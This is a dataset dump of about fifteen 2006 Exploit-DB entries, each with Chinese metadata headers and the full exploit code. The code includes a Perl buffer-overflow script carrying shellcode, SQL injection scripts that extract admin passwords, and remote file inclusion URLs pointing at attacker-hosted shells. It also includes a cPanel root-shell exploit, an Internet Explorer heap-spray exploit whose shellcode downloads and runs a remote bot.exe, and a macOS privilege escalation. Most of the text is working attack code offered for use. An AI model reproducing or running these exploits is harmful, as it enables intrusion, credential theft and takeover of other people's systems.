QLWD/code_shield huggingface dataset:
标题: SHTTPD 1.34 - 'POST' Remote Buffer Overflow EDB-ID: 2482 CVE: 2006-5216 类型: REMOTE 平台: WINDOWS 发布日期: 2006-10-05 漏洞利用脚本: #!/usr/bin/perl -w

#  SHTTPD Buffer Overflow (POST)
#  Tested on SHTTPD 1.34 WinXP SP1 Hebrew
#  http://shttpd.sourceforge.net
#  Codded By SkOd, 05/10/2006
#  ISRAEL
#
# details:
# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
# EBX 00000004 , EIP 41414141 , EBP 41414141
# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
# ESP 009EFC08 ASCII 41,"AA...AAA"


use IO::Socket;

sub fail(){
syswrite STDOUT, "[-]Connect failed.\n";
exit;
}

sub header()
{
print("##################################\n");
print("SHTTPD (POST) Buffer Overflow.\n");
print("[http://shttpd.sourceforge.net]\n");
print("Codded By SkOd, 05/10/2006\n");
print("##################################\n");
}

if (@ARGV < 1)
{
 &header();
 print("Usage: Perl shttpd.pl [host]\n");
 exit;
}

&header();
$host=$ARGV[0];
$port="80";
$host=~ s/(http:\/\/)//eg;

#win32_exec- CMD=calc Size=160 (metasploit.com)
$shell =
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
"%6e%95%1a%16%32%9c%a2%18%d1%0a%50%b0%3a%3a%a1%e4".
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";


$esp="%73%C3%2A%4F";     #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
$buff=("%41"x8).$esp.("%90"x85).$shell;  #Shellcode+NOP=245

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
 syswrite STDOUT,"[+]Connected.\n";
 print $sock "POST /$buff HTTP/1.1\n";
 print $sock "HOST:$host\n\n";
 syswrite STDOUT,"[+]Done.\n";
close($sock);

# milw0rm.com [2006-10-05] URL: https://www.exploit-db.com/exploits/2482
标题: Cahier de texte 2.0 - 'lire.php' SQL Injection EDB-ID: 2485 CVE: 2006-5221 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-07 漏洞利用脚本: # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#             Cahier  de  textes  
#   Pierre Lemaitre - St Lô (France) - Ver 2.0
#           
#          Remote SQL injection Exploit
#
#              Discovred By s4mi
#           s4mi[at]linuxmail[dot]org
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# exploit Coded by simo64
#
# all thanks to simo64,drackanz,hardose,r00t 
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
#!/usr/bin/perl

use IO::Socket ;

&header();

&usage unless(defined($ARGV[0] && $ARGV[1]));

$host = $ARGV[0];
$path = $ARGV[1];

syswrite STDOUT ,"\nConnecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);
        
die "\nUnable to connect to $host\n" unless($sock);

syswrite STDOUT, "[OK]";

$inject = "1&matiere_ID=-1+union%20select%20null,CONCAT(nom_prof,CHAR(58),CHAR(58),passe)%20FROM%20cdt_prof/*"; 

syswrite STDOUT ,"\nSending Data ...";

print $sock "GET $path/lire.php?classe_ID=1&matiere_ID=$inject HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Connection: Close\n\n";

syswrite STDOUT ,"[OK]\n\n";

 while($res = <$sock>){
 #print $res;sleep(1);
  if($res =~ /class="Style6">(.*?)::(.*?)<\/td>/){
   print "Exploit Succeded !\n\n";sleep(1);
   $userlogin = $1 ;
   $userpass  = $2;
   print "adminlogin  : $userlogin\n";sleep(1);
   print "adminpasswd : $userpass\n";sleep(1);
   $succeded = "ok";
   }
  }
if(!defined($succeded)) {print "\nExploit Failed\n";} else {print "\nEnjoy ;)";}

sub usage{
 print "\nUsage   : perl $0 host /path/ ";
 print "\nExemple : perl $0 www.victime.net /cahier/\n";
 exit(0);
}
sub header(){
print q(
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
            Cahier  de  textes  v2.0 
   Pierre Lemaitre - St Lô (France) - Ver 2.0

       Remote SQL injection Exploit by s4mi
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
);
}

# milw0rm.com [2006-10-07] URL: https://www.exploit-db.com/exploits/2485
标题: JAF CMS 4.0 RC1 - Multiple Remote File Inclusions EDB-ID: 2474 CVE: 2008-1609 2006-7127 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: #===========================================================================================
#JAF CMS Remote file include (website)
#===========================================================================================
#
#Script name : JAF CMS
#
#Version : 4.0
#
#===========================================================================================
#Vulnerable Code :
#
# if(isset($category) || isset($id)) { include($website.$main_dir."forum.php"); return;}
#
#===========================================================================================
#Dork : powered by JAF CMS © 2004 - 2006
#
#Exploit :
#(1)
#http://www.site.com/[jmf_path]/module/forum/main.php?id=1&main_dir=http://www.milw0rm.com/index.php?&
#(2)
#http://www.site.com/[jmf_path]/module/forum/headlines.php?id=1&main_dir=http://www.milw0rm.com/index.php?&
#
#===========================================================================================
#
#Discoverd By : ThE TiGeR
#
#Contact : miro_tiger100[at]hotmail[dot]com
#
#===========================================================================================

/*
 * modified the authors GET request from
 * ?website=http://www.site.com/shell.txt?
 * to the current. /str0ke
 */

# milw0rm.com [2006-10-04] URL: https://www.exploit-db.com/exploits/2474
标题: PHPGreetz 0.99 - 'footer.php' Remote File Inclusion EDB-ID: 2476 CVE: 2006-5192 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: # Author: mozi2weed@yahoo.com mozi
# phpGreetz Remote File Inclusion Vulnerability
# Greetz: Raver #phpfreaks eu.undernet.org
# Greetz: SpiderZ , fUSiON
----------------------------------------------------------------
Download: http://sourceforge.net/project/showfiles.php?group_id=6127
------------------------------------------------------------------
<? include("$PHPGREETZ_INCLUDE_DIR/language/langlist.php"); ?>
("phpgreetz-global.inc.php");
("$PHPGREETZ_INCLUDE_DIR/language/lang.$session_lang.inc.php");
<td colspan="2" valign="top" align="left"><? include($site_location . "/includes/navigation.php"); ?>
$PHPGREETZ_INCLUDE_DIR = "$site_location/includes";
_________________________________________________________________
http://site.com/[path]/includes/footer.php?PHPGREETZ_INCLUDE_DIR=Evil
.
### eu.undernet.org #phpfreaks team
RaVeR -- nutzulake@yahoo.com
mozi -- mozi2weed@yahoo.com mozilla0@hotmail.com
 
#phpfreaks again
# heh tnx

# milw0rm.com [2006-10-04] URL: https://www.exploit-db.com/exploits/2476
标题: phpBB Admin Topic Action Logging Mod 0.94b - Remote File Inclusion EDB-ID: 2475 CVE: 2006-5209 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ Hacking Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'


# Author: SpiderZ
# Admin Topic Action Logging Remote File Inclusion Vulnerability
# Version 0.95 Admin Topic Action Logging
# For: phpBB ( 2.0.x - 2.0.21 )
# Site: www.spiderz.altervista.org
# Site02: www.spiderz.netsons.org
_________________________________________________________________________




http://site.com/[path]/admin/admin_topic_action_logging.php?setmodules=pagestart&phpbb_root_path=http://[Evil_script]




-------------------------------------------------------------------------------------
# Download: http://www.nivisec.com/downloads/phpbb/admin_topic_action_logging_beta.zip
# File: 38 KB
-------------------------------------------------------------------------------------

# milw0rm.com [2006-10-04] URL: https://www.exploit-db.com/exploits/2475
标题: phpMyProfiler 0.9.6 - Remote File Inclusion EDB-ID: 2470 CVE: 2006-5186 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-03 漏洞利用脚本: # Author: mozi2weed@yahoo.com mozi
# phpMyProfiler Remote File Inclusion Vulnerability
# Greetz: Raver #phpfreaks eu.undernet.org
------------------------------------------------------------------
Download: http://sourceforge.net/projects/phpmyprofiler
------------------------------------------------------------------
require_once($pmp_rel_path . '/include/PEAR/HTTP.php');
_________________________________________________________________
googledork:phpMyProfiler

http://site.com/[path]/functions.php?pmp_rel_path=http://[Evil_scr
ipt]
PS:Whitehat aia de pe undernet sug pula!!!  Lameri boratzi
#phpfreaks rulz
# heh tnx

# milw0rm.com [2006-10-03] URL: https://www.exploit-db.com/exploits/2470
标题: cPanel 10.8.x - cpwrap via MySQLAdmin Privilege Escalation EDB-ID: 2466 CVE: 2006-5014 类型: LOCAL 平台: LINUX 发布日期: 2006-10-01 漏洞利用脚本: #!/usr/bin/perl -w

# 10/01/06 - cPanel <= 10.8.x cpwrap root exploit via mysqladmin
# use strict; # haha oh wait..

my $cpwrap       = "/usr/local/cpanel/bin/cpwrap";
my $mysqlwrap    = "/usr/local/cpanel/bin/mysqlwrap";
my $pwd          = `pwd`;

chomp $pwd;
$ENV{'PERL5LIB'} = "$pwd";

if ( ! -x "/usr/bin/gcc" )  { die "gcc: $!\n"; }
if ( ! -x "$cpwrap" )       { die "$cpwrap: $!\n"; }
if ( ! -x "$mysqlwrap" )    { die "$mysqlwrap: $!\n"; }

open  (CPWRAP, "<$cpwrap") or die "Could not open $cpwrap: $!\n";
while(<CPWRAP>) {
   if(/REMOTE_USER/) { die "$cpwrap is patched.\n"; }
}
close (CPWRAP);

open  (STRICT, ">strict.pm") or die "Can't open strict.pm: $!\n";
print  STRICT  "\$e  = \"int main(){setreuid(0,0);setregid(0,0);system(\\\\\\\"/bin/bash\\\\\\\");}\";\n";
print  STRICT  "system(\"/bin/echo -n \\\"\$e\\\">Maildir.c\");\n";
print  STRICT  "system(\"/usr/bin/gcc Maildir.c -o Maildir\");\n";
print  STRICT  "system(\"/bin/chmod 4755 Maildir\");\n";
print  STRICT  "system(\"/bin/rm -f Maildir.c strict.pm\");\n";
close (STRICT);

system("$mysqlwrap DUMPMYSQL 2>/dev/null");

if ( -e "Maildir" ) {
   system("./Maildir");
}
else {
   unlink "strict.pm";
   die "Failed\n";
}

# milw0rm.com [2006-10-01] URL: https://www.exploit-db.com/exploits/2466
标题: VAMP Webmail 2.0beta1 - 'yesno.phtml' Remote File Inclusion EDB-ID: 2461 CVE: 2006-5147 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-30 漏洞利用脚本: ###### ToXiC #########################
#
#VAMP Webmail Remote File Inclusion by ToXiC CreW
#
#BuG FounD by Drago84
#
#Application Affect:VAMP Webmail
#
#Page:
#     yesno.phtml
#Dir :
#     /setup/
#
#Problem:
#        <?if($answer=="Yes") {
#         include $yes_url;
#         } else {
#        include $no_url;
#         }?>
# ExPloit :
#http://www.site.com/wamp_dir/setup/yesno.phtml?no_url=http://sonic-banda-di-lamer.gay/shell.php?
#
#        
GrEatZ All Member of ToXiC, Str0ke
#
#
#FUCK #Sonic
#
# ToXic Security Italian CreW
###### ToXiC ##########

# milw0rm.com [2006-09-30] URL: https://www.exploit-db.com/exploits/2461
标题: BBaCE 3.5 - '/includes/functions.php' Remote File Inclusion EDB-ID: 2468 CVE: 2006-5187 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-02 漏洞利用脚本: _________________________________________________________________________


           /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ Hacking Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'


# Author: SpiderZ
# BBaCE Remote File Inclusion Vulnerability
# For: BBaCE v3 ( Bulletin Board Ace )
# Site: www.spiderz.altervista.org
# Site02: www.spiderz.netsons.org
-------------------------------------------------------------------------
Download: http://bbace.blogspot.com/2005/09/downloads.html
Download 2: http://www.phpbbhacks.com/download/3062
-------------------------------------------------------------------------
_________________________________________________________________________




http://site.com/[path]/includes/functions.php?phpbb_root_path=http://[Evil_script]

# milw0rm.com [2006-10-02] URL: https://www.exploit-db.com/exploits/2468
标题: Microsoft Internet Explorer - WebViewFolderIcon setSlice() (1) EDB-ID: 2458 CVE: 2006-3730 类型: REMOTE 平台: WINDOWS 发布日期: 2006-09-29 漏洞利用脚本: #!/usr/bin/perl

#
# Microsoft Internet Explorer WebViewFolderIcon setSlice() D0wnLoad & Exec POC
#
# Author: Vampyroteuthis Infernalis <skyhole [at] gmail.com>
# Greetz: H D Moor, Dark Eagle, Jamikazu
#
#


use strict;

my $sco =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03".
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74".
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E".
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03".
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C".
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40".
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C".
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC".
"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F".
"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB".
"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83".
"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF".
"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF".
"http://dedicated.com/bot.exe";

my $war_code= convert_sco($sco);

my @exploit_body=<<FOOKER;
<HTML>
<BODY>
<SCRIPT language="javascript">

 var heapSprayToAddress = 0x05050505;
 var infernalis_ = unescape("%u9090%u9090$war_code");
 var heapBlockSize = 0x400000;
 var payLoadSize = infernalis_.length * 2;
 var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
 var spraySlide = unescape("%u0505%u0505");
 spraySlide = getSpraySlide(spraySlide,spraySlideSize);
 heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
 memory = new Array();

 for (i=0;i<heapBlocks;i++)
 {
  memory[i] = spraySlide + infernalis_;
 }

    for ( i = 0 ; i < 128 ; i++)
 {
  try{
   var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
   tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 );
  }catch(e){}
 }

 function getSpraySlide(spraySlide, spraySlideSize)
 {
  while (spraySlide.length*2<spraySlideSize)
  {
   spraySlide += spraySlide;
  }
  spraySlide = spraySlide.substring(0,spraySlideSize/2);
  return spraySlide;
 }

</SCRIPT>

</BODY>
</HTML>

FOOKER

open (IE_VML, ">", "exploit.html");

print IE_VML @exploit_body;

close IE_VML;

sub convert_sco {
 my $data = shift;
 my $mode = shift() || 'LE';
 my $code = '';
 
 my $idx = 0;
 
 if (length($data) % 2 != 0) {
  $data .= substr($data, -1, 1);
 }
 
 while ($idx < length($data) - 1) {
  my $c1 = ord(substr($data, $idx, 1));
  my $c2 = ord(substr($data, $idx+1, 1)); 
  if ($mode eq 'LE') {
   $code .= sprintf('%%u%.2x%.2x', $c2, $c1); 
  } else {
   $code .= sprintf('%%u%.2x%.2x', $c1, $c2); 
  }
  $idx += 2;
 }
 
 return $code;
}

# milw0rm.com [2006-09-29] URL: https://www.exploit-db.com/exploits/2458
标题: Forum82 < 2.5.2b - 'repertorylevel' Multiple File Inclusions EDB-ID: 2459 CVE: 2006-5148 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-29 漏洞利用脚本: #==============================================================================================
#Forum82 <= v2.5.2b (repertorylevel) Multiple R.F.I. Vulnerabilities
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Script Dowload : http://www.comscripts.com/jump.php?action=script&id=805
#                                                                       
#Version : v2.5.2b 
#                                                         
#================================================================================================
#
#Bug in : 
#
#almost all files are infected...
#================================================================================================
#
#Vulnerable Code :
#
#  summary & example:
#
# require($repertorylevel.'include/tables.inc.'.$e);
#       require($repertorylevel.'lang/lang.inc.'.$e);
#       require($repertorylevel.'include/db/mysql.inc.'.$e);
#         
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Forum82_Installed_DIR]/forum/search.php?repertorylevel=http://evilsite.com/evilscript.txt?
#
#http://sitename.com/[Forum82_Installed_DIR]/forum/message.php?repertorylevel=http://evilsite.com/evilscript.txt?
#
#http://sitename.com/[Forum82_Installed_DIR]/forum/member.php?repertorylevel=http://evilsite.com/evilscript.txt?
#
#http://sitename.com/[Forum82_Installed_DIR]/forum/mail.php?repertorylevel=http://evilsite.com/evilscript.txt?
#
#http://sitename.com/[Forum82_Installed_DIR]/forum/lostpassword.php?repertorylevel=http://evilsite.com/evilscript.txt?
#
#http://sitename.com/[Forum82_Installed_DIR]/forum/gesfil.php?repertorylevel=http://evilsite.com/evilscript.txt?
#
#http://sitename.com/[Forum82_Installed_DIR]/forum/forum82lib.php3?repertorylevel=http://evilsite.com/evilscript.txt?
#
#bla...bla...
#
#
#
#
# the script files's are installed as .php3 to website.take care that...
#
#================================================================================================
#Discoverd By : Silahsiz Kuvvetler 
#
#
#Conatact : co-type[at]hotmail[dot]com
#
#GreetZ : FaTTaLGazI - NarcoTic - 0xyGen
#
#
#==================================================================================================

# milw0rm.com [2006-09-29] URL: https://www.exploit-db.com/exploits/2459
标题: Apple Mac OSX 10.4.7 - Mach Exception Handling Privilege Escalation EDB-ID: 2463 CVE: 2006-4392 类型: LOCAL 平台: OSX 发布日期: 2006-09-30 漏洞利用脚本: /* excploit.c - 28 Nov 2005 - xmath@math.leidenuniv.nl
 *
 * Exploitable Mach Exception Handling
 *
 * Affected:  Mac OS X 10.4.6 (darwin 8.6.0) and older
 *
 * When a process executes a setuid executable, all existing rights to the
 * task port are invalidated, to make sure unauthorized processes do not
 * retain control of the process.  Exception handlers however remain installed,
 * and when some kind of hardware exception occurs, the exception handler can
 * receive a new right to the task port as one of its arguments, and thus
 * regain full control over the process.
 *
 * Interestingly, the code to reset the exception handlers (and hence thwart
 * this attack) upon exec() of a setuid executable has been present in the
 * kernel since OSX 10.3, but is disabled (#if 0) for unspecified reasons.
 *
 * This exploit installs an exception handler on illegal memory access, forks
 * off a child (the handler is inherited), and uses RLIMIT_STACK to cause a
 * segfault after exec().  The shell code invokes /usr/bin/id.
 *
 * Greetings to Scrippie and #vuln
 *
 */

#include <sys/resource.h>
#include <sys/wait.h>
#include <unistd.h>
#include <mach/mach.h>

extern boolean_t exc_server(mach_msg_header_t *, mach_msg_header_t *);

int main(void) {
 mach_port_t self = mach_task_self(), exc;
 mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &exc);
 mach_port_insert_right(self, exc, exc, MACH_MSG_TYPE_MAKE_SEND);
 task_set_exception_ports(self, EXC_MASK_BAD_ACCESS, exc,
   EXCEPTION_STATE_IDENTITY, PPC_THREAD_STATE);

 if (fork()) {
  mach_msg_server_once(exc_server, 512, exc, 0);
  wait(NULL);
 } else {
  static struct rlimit rl;
  setrlimit(RLIMIT_STACK, &rl);
         execl("/usr/bin/chsh", "chsh", NULL);
 }

 return 0;
}

static long implant[] = {
 0x48000015, 0x00000000, 0x00100000, 0x00000000,
 0x00100000, 0x7ca802a6, 0x38600003, 0x38850000,
 0x380000c3, 0x44000002, 0x60000000, 0x38600000,
 0x38000017, 0x44000002, 0x60000000, 0x38600000,
 0x380000b5, 0x44000002, 0x60000000, 0x38650068,
 0x38850074, 0x90640000, 0x3800003b, 0x44000002,
 0x60000000, 0x38000001, 0x44000002, 0x2f757372,
 0x2f62696e, 0x2f696400, 0x00000000, 0x00000000,
};

kern_return_t catch_exception_raise_state_identity(mach_port_t exc, thread_t t,
  task_t task, exception_type_t e, exception_data_t ed,
  mach_msg_type_number_t edsz, int *f, thread_state_t *is,
  mach_msg_type_number_t isz, thread_state_t *os) {
 vm_allocate(task, os, sizeof implant, TRUE);
 vm_write(task, *os, implant, sizeof implant);
 return KERN_SUCCESS;
}

// milw0rm.com [2006-09-30] URL: https://www.exploit-db.com/exploits/2463
标题: phpMyWebmin 1.0 - 'target' Remote File Inclusion EDB-ID: 2462 CVE: 2006-5181 2006-5125 2006-5124 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-30 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

phpMyWebmin 1.0 <= (target) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by XORON(turkish hacker)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL: http://www.josh.ch/joshch/joshch/_content_data/phpmywebmin/phpMyWebmin10.zip

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Vuln. Code: include("$target/$folder/preferences.php");

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit: /change_preferences2.php?target=http://SH3LL?
         /create_file.php?target=http://SH3LL?
         /upload_local.php?target=http://SH3LL?
         /upload_multi.php?target=http://SH3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, Kernel-32 ;)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-09-30] URL: https://www.exploit-db.com/exploits/2462
标题: PHP Krazy Image Hosting 0.7a - 'display.php' SQL Injection EDB-ID: 2456 CVE: 2006-5140 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-29 漏洞利用脚本: <?
/*****************************************************************\
|* PHP Krazy Image Host Script (id) Remote SQL Injection Exploit *|
|* Discovered by: Trex                                           *|
|* Solution: http://www.trex-online.net/fixes/display.rar        *|
|* Visit: Trex-Online.net / UnderGround.ag                       *|
\*****************************************************************/

error_reporting(0);

echo "# PHP Krazy Image Host Script (id) Remote SQL Injection Exploit\n";
echo "# Discovered by: Trex\n";
echo "# Solution: http://www.trex-online.net/fixes/display.rar\n";
echo "# Visit: Trex-Online.net / UnderGround.ag\n\n";
echo "# Usage: $ php " . $_SERVER['PHP_SELF'] . " [URL] [PATH] [SELECT] [FROM] [WHERE]\n";
echo "# Example: $ php " . $_SERVER['PHP_SELF'] . " http://localhost /images/ password users userID=1\n\n";

if (!$_SERVER['argv'][5])
 die();

$url = parse_url($_SERVER['argv'][1] . $_SERVER['argv'][2]);

$sql = "UNION+SELECT+1,1,1,1," . $_SERVER['argv'][3] . ",1,1,1+FROM+" . $_SERVER['argv'][4] . "+WHERE+" . $_SERVER['argv'][5] . "/*";

echo "Connecting to " . $url['host'] . ":80 ... ";

if (!$fsp = fsockopen($url['host'], 80, $errno, $errstr, $timeout))
 die("failed.\nReason: " . $errno . " - " . $errstr);

echo "done.\n\n";

$request  = "HEAD " . $url['path'] . "display.php?id=0+" . $sql . " HTTP/1.1\r\n";
$request .= "Host: " . $url['host'] . "\r\n";
$request .= "Connection: Close\r\n\r\n";

fputs($fsp, $request);

while (!feof($fsp)) {
 $response = fgets($fsp, 4096);
 $response = explode(":", $response, 2);

 if (count($response) == 2 && preg_match("/Content-Type/", $response[0]))
  $result = $response[1];
}

if (preg_match("/text\/html/", $result))
 echo "Exploit failed!";
else
 echo "Result: " . $result;
?>

# milw0rm.com [2006-09-29] URL: https://www.exploit-db.com/exploits/2456